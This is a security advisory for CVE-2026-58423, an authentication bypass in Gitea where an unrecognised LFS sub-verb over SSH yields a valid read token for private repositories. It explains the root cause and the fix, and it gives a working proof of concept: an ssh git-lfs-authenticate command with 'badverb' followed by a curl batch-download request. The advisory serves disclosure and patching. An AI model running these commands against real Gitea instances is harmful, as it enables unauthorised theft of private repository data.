CVE-2026-58423: Gitea LFS SSH Sub-Verb Authentication Bypass
Any registered Gitea user can pass a nonsense word instead of 'upload' or 'download' over SSH to trick the server into handing out a valid LFS token for private repositories they have no access to.
The problem
In `cmd/serv.go`, `getAccessMode` switches on the LFS sub-verb (`upload`/`download`). An unrecognized sub-verb falls through to `return perm.AccessModeNone` (value `0`) without erroring.
In production mode, `AccessModeNone` is passed to the permission check in `routers/private/serv.go`. For private repos, the guard block is entered but the inner check `userMode < mode` becomes `userMode < 0`, which is always false. Access is granted and a valid LFS JWT token is returned with `Op: "badverb"`.
The HTTP LFS handler only validates `Op` for write operations (`claims.Op != "upload"`). Download paths skip `Op` validation entirely, so the attacker's token is accepted for all LFS read requests. Any SSH-enabled account on the instance can exfiltrate LFS objects from any private repository.
Proof of concept
A working proof-of-concept for CVE-2026-58423 in code.gitea.io/gitea, with the exact payload below.
# Step 1: confirm normal access is denied
ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git download"
# -> "User: attacker is not authorized to read owner/private-repo."
# Step 2: trigger bypass with an arbitrary unknown sub-verb
ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git badverb"
# -> {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/owner/private-repo.git/info/lfs"}
# Step 3: use the stolen token to batch-download LFS objects
curl -s -X POST "https://gitea-instance/owner/private-repo.git/info/lfs/objects/batch" \
-H "Content-Type: application/vnd.git-lfs+json" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Authorization: Bearer eyJ..." \
-d '{"operation":"download","objects":[{"oid":"<object-oid>","size":<size>}]}'
# -> returns signed download URL for the private LFS objectThe root cause is a missing error path. Before the fix, an unknown sub-verb silently returned `AccessModeNone` (integer `0`). The downstream permission check then evaluated `userMode < 0`, which can never be true for any valid user permission level, so the check was always bypassed.
The patch (PR #38008, commit `42513398`) replaces the `default` fall-through with a hard `fail()` call that terminates the request. Separately, the HTTP LFS token validator already skipped `Op` verification for downloads, making the bypass fully exploitable end-to-end once a token was issued.
This is CWE-287 (Improper Authentication): the server issued credentials without completing a real authorization decision.
The fix
Upgrade to Gitea 1.26.3 (prefer 1.26.4, which fixes an unrelated regression in 1.26.3). The fix is in PR #38008 / commit `42513398`: the `default` branch of the LFS sub-verb switch now calls `fail()`, returning an error to the client instead of `AccessModeNone`.
No configuration changes are required; the fix is purely in the permission-check code path.
Reported by Tomer-PL.
Related research
- highCVE-2026-56654CVE-2026-56654: Gitea Privilege Escalation via Access Token Scope Bypass
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race